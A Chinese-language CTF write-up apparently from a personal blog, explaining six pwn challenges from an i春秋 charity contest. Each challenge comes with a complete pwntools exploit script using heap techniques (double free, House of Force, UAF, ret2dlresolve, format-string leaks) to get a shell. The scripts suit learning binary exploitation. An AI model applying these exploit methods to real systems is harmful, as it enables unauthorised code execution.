i春秋平台举办的一场公益性的CTF比赛,题目难度,不是我这种菜鸟可以做的,大部分是后期复现的,不定期更新
BFnote
此题出得真的好,思路就是先利用malloc申请一个可控制空间大小的块,如果size >= 0x20000,那么就会利用mmap分配,分配到debug001上面,而在TLS结构中保存有Canary的值,计算保存的Canary地址的偏移量,在note那里任意写,修改Canary的值,最开始的栈那里,修改ebp-4的地方为需要迁移的地址,然后读取地址,最后迁移到那里
1 | mov ecx, [ebp+var_4] |
2 | leave |
3 | lea esp, [ecx-4] |
4 | retn |
而在栈写入之后,继续会在一个bss段写入内容,这里利用ret2dllresolve,从而取得权限
1 | from pwn import* |
2 | p = process('./BFnote') |
3 | #p = remote('123.56.85.29',6987) |
4 | elf = ELF('BFnote') |
5 | libc = ELF('libc.so.6') |
6 | read_plt = elf.plt['read'] |
7 | read_got = elf.got['read'] |
8 | plt0 = elf.get_section_by_name('.plt').header.sh_addr |
9 | rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr |
10 | dynsym = elf.get_section_by_name('.dynsym').header.sh_addr |
11 | dynstr = elf.get_section_by_name('.dynstr').header.sh_addr |
12 | base_stage = elf.bss() + 0x420 |
13 | |
14 | payload = 'U'*0x3A + p32(elf.bss()+0x420 +4) |
15 | p.sendafter('Give your description : ',payload) |
16 | #-------- |
17 | fake_sym_addr = base_stage + 24 #fake_sym |
18 | align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) #alignment |
19 | fake_sym_addr = fake_sym_addr + align # |
20 | index_dynsym = (fake_sym_addr - dynsym) / 0x10 |
21 | st_name = fake_sym_addr + 0x10 - dynstr #system |
22 | fake_read_sym = flat([st_name, 0, 0, 0x12]) |
23 | |
24 | index_offset = base_stage + 16 - rel_plt |
25 | r_info = (index_dynsym << 8) | 0x7 |
26 | fake_read_reloc = flat([read_got, r_info]) |
27 | |
28 | payload = '\x00'*0x400 |
29 | payload += p32(plt0) |
30 | payload += p32(index_offset) |
31 | payload += 'UUUU' |
32 | payload += p32(base_stage + 80) # binsh |
33 | payload += fake_read_reloc |
34 | payload += 'U'*align |
35 | payload += fake_read_sym |
36 | payload += 'system\x00' |
37 | payload += 'U' * (80 + 0x400-len(payload)) |
38 | payload += '/bin/sh\x00' |
39 | payload += 'U'*(100 - len(payload)) |
40 | |
41 | p.sendafter('Give your postscript : ',payload) |
42 | p.sendlineafter('Give your notebook size : ',str(1024*130)) |
43 | overflow_len = 0x216FC |
44 | p.sendlineafter('Give your title size : ',str(overflow_len)) |
45 | p.sendlineafter('invalid ! please re-enter :','1') |
46 | p.sendafter('Give your title : ','U') |
47 | p.sendafter('Give your note : ','U'*4) |
48 | p.interactive() |
下载
Signin
题目分析起来很简单,由于Calloc申请空间时,不会先从tcache中取出块,从fastbin中取出一个块后,然后calloc,然后剩下的fastbin chunk可能会插入到tcache中,因为LIFO原则,calloc申请的块会在fd上写上下一个块的地址.
1 | from pwn import* |
2 | def add(idx): |
3 | p.sendlineafter('choice?','1') |
4 | p.sendlineafter('idx?\n',str(idx)) |
5 | def edit(idx,content): #Just Once |
6 | p.sendline('2') |
7 | p.sendline(str(idx)) |
8 | p.sendline(content) |
9 | def free(idx): |
10 | p.sendline('3') |
11 | p.sendline(str(idx)) |
12 | #p = remote('123.56.85.29',4205) |
13 | p = process('./pwn') |
14 | for i in range(9): |
15 | add(i) |
16 | for i in range(9): |
17 | free(i) |
18 | add(9) |
19 | edit(8,p64(0x4040B0)) |
20 | p.sendline('6') |
21 | p.interactive() |
下载
Document
简单分析,free块之后指针没有置为0,通过double free之后的返回值,可以发现其libc为2.29,由于tcache的块最多能含有7个堆,故仍然利用double free在tcache情况下改free_hook为one_gadget
1 | from pwn import* |
2 | def add(name,info): |
3 | p.sendlineafter('choice : ','1') |
4 | p.sendafter('name',name) |
5 | p.sendafter('sex','M') |
6 | p.sendafter('information',info) |
7 | ##Chunk -> name|sex|info = 0x80 |
8 | |
9 | def show(index): |
10 | p.sendlineafter('choice : ','2') |
11 | p.sendlineafter('index : ',str(index)) |
12 | |
13 | def edit(index,info): |
14 | p.sendlineafter('choice : ','3') |
15 | p.sendlineafter('index : ',str(index)) |
16 | p.sendafter('sex?','Y\0') |
17 | p.sendafter('information',info) |
18 | |
19 | def free(index): |
20 | p.sendlineafter('choice : ','4') |
21 | p.sendlineafter('index : ',str(index)) |
22 | #p = remote('123.56.85.29',4807) |
23 | p = process('./pwn') |
24 | libc = ELF('./libc-2.29.so') |
25 | context.log_level = 'debug' |
26 | add(p64(0),'\x00'*0x70) |
27 | add(p64(1),'\x00'*0x70) |
28 | add(p64(2),'\x00'*0x70) |
29 | add(p64(3),'\x00'*0x70) |
30 | free(3) |
31 | edit(3,'\x00'*0x70) |
32 | free(3) |
33 | |
34 | free(2) |
35 | edit(2,'\x00'*0x70) |
36 | free(2) |
37 | |
38 | free(1) |
39 | edit(1,'\x00'*0x70) |
40 | |
41 | free(0) |
42 | edit(0,'\x00'*0x70) |
43 | free(0) |
44 | |
45 | free(1) |
46 | show(1) |
47 | p.recvline() |
48 | malloc_hook = u64(p.recv(6).ljust(8,'\x00')) - 0x70 |
49 | libcbase = malloc_hook - libc.sym['__malloc_hook'] |
50 | log.success('LibcBase:\t' + hex(libcbase)) |
51 | free_hook = libcbase + libc.sym['__free_hook'] |
52 | system = libcbase + 0x71FF0 |
53 | add(p64(free_hook),'\x00'*0x70) |
54 | add('/bin/sh\x00','\x00'*0x70) |
55 | add(p64(system),'\x00'*0x70) |
56 | free(5) |
57 | p.interactive() |
下载
Force
HOF题,在BFnote那里有讲过,利用mmap分配的块靠近libcbase,简单获取libc_base,然后改realloc_hook为one_gadget,malloc_hook利用realloc修栈即可
1 | from pwn import* |
2 | def add(size,content): |
3 | p.sendline('1') |
4 | p.sendlineafter('size',str(size)) |
5 | p.recvuntil('bin addr ') |
6 | chunk = int(p.recvuntil('\n',drop=True),16) |
7 | p.sendafter('content',content) |
8 | return chunk |
9 | def puts(): |
10 | p.sendline('2') |
11 | p = process('./pwn') |
12 | libc = ELF('./libc-2.23.so') |
13 | chunk0 = add(0x200000,'\x00') |
14 | libc_base = chunk0 + 0x200FF0 |
15 | log.info('LibcBase:\t' + hex(libc_base)) |
16 | realloc = libc_base + libc.sym['realloc'] |
17 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
18 | og = [0x45216,0x4526A,0xF02A4,0xF1147] |
19 | one_gadget = libc_base + og[1] |
20 | chunk1 = add(0x20,'\x00'*0x28 + '\xFF'*8) |
21 | top_chunk = chunk1 - 0x10 + 0x30 |
22 | offset = malloc_hook - top_chunk - 0x30 |
23 | add(offset,'\x00') |
24 | add(0x10,p64(0) + p64(one_gadget) + p64(realloc + 4)) |
25 | p.sendline('1') |
26 | p.sendline('16') |
27 | p.interactive() |
下载
Some_thing_exciting
UAF漏洞,直接控制其中一个malloc(0x10),然后改为题目给的fake_chunk地址
1 | from pwn import* |
2 | def add(sizeI,sizeII,contentI,contentII): |
3 | p.sendlineafter('do :','1') |
4 | p.sendlineafter("length : ",str(sizeI)) |
5 | p.sendline(contentI) |
6 | p.sendlineafter("length : ",str(sizeII)) |
7 | p.sendline(contentII) |
8 | def free(index): |
9 | p.sendlineafter('do :','3') |
10 | p.sendlineafter('ID : ',str(index)) |
11 | def show(index): |
12 | p.sendlineafter('do :','4') |
13 | p.sendlineafter('ID : ',str(index)) |
14 | p = remote('123.56.85.29',6484) |
15 | context.log_level = 'debug' |
16 | fake = 0x6020A8 |
17 | add(0x20,0x20,'','') #0 |
18 | add(0x20,0x20,'','') #1 |
19 | free(0) |
20 | free(1) |
21 | add(0x10,0x20,p64(fake),'') #2 = 1 -> 0 |
22 | show(0) |
23 | p.interactive() |
下载
Some_thing_interesting
格式化字符串漏洞获取PIE,UAF漏洞以及利用double free将块布置到bss段中保存size的内存地址,最后利用edit修改即可
1 | from pwn import* |
2 | def add(sizeI,sizeII,contentI,contentII): |
3 | p.sendlineafter('do :','1') |
4 | p.sendlineafter('length : ',str(sizeI)) |
5 | p.sendafter('O : ',contentI) |
6 | p.sendlineafter('length : ',str(sizeII)) |
7 | p.sendafter('RE : ',contentII) |
8 | def edit(index,contentI,contentII): |
9 | p.sendlineafter('do :','2') |
10 | p.sendlineafter('ID : ',str(index)) |
11 | p.sendafter('O : ',contentI) |
12 | p.sendafter('RE : ',contentII) |
13 | def free(index): |
14 | p.sendlineafter('do :','3') |
15 | p.sendlineafter('ID : ',str(index)) |
16 | def show(index): |
17 | p.sendlineafter('do :','4') |
18 | p.sendlineafter('ID : ',str(index)) |
19 | p = process('./interested') |
20 | elf = ELF('./interested',checksec=False) |
21 | libc = ELF('libc-2.23.so',checksec=False) |
22 | context.log_level =='debug' |
23 | p.sendafter('please:','OreOOrereOOreO%14$p') |
24 | p.sendlineafter('do :','0') |
25 | p.recvuntil('OreOOrereOOreO') |
26 | pie = int(p.recv(14),16) - 0x202050 |
27 | add(0x60,0x70,'I','I') |
28 | add(0x60,0x70,'II','II') |
29 | free(1) |
30 | free(2) |
31 | free(1) |
32 | ''' |
33 | Fastbins |
34 | [0x70] 1 ->2 -> 1 |
35 | [0x80] 1 ->2 -> 1 |
36 | ''' |
37 | add(0x60,0x30,p64(pie+0x202080),'I') |
38 | add(0x60,0x30,'II','II') |
39 | add(0x60,0x30,'I','I') |
40 | payload = p64(0x70)*3 + p64(0)*8 + p64(pie+0x2020E8) |
41 | add(0x60,0x30,payload,'III') |
42 | edit(1,p64(pie+0x2020E8)+p64(elf.got['puts'] + pie),'I') |
43 | show(2) |
44 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['puts'] |
45 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
46 | realloc = libc_base + libc.sym['realloc'] |
47 | og = [0x45216,0x4526a,0xf02a4,0xf1147] |
48 | one_gadget = libc_base + og[3] |
49 | edit(1,p64(pie+0x2020E8) + p64(malloc_hook),'I') |
50 | edit(2,p64(one_gadget),'II') |
51 | p.sendlineafter('do :','1') |
52 | p.sendlineafter('length : ','32') |
53 | p.interactive() |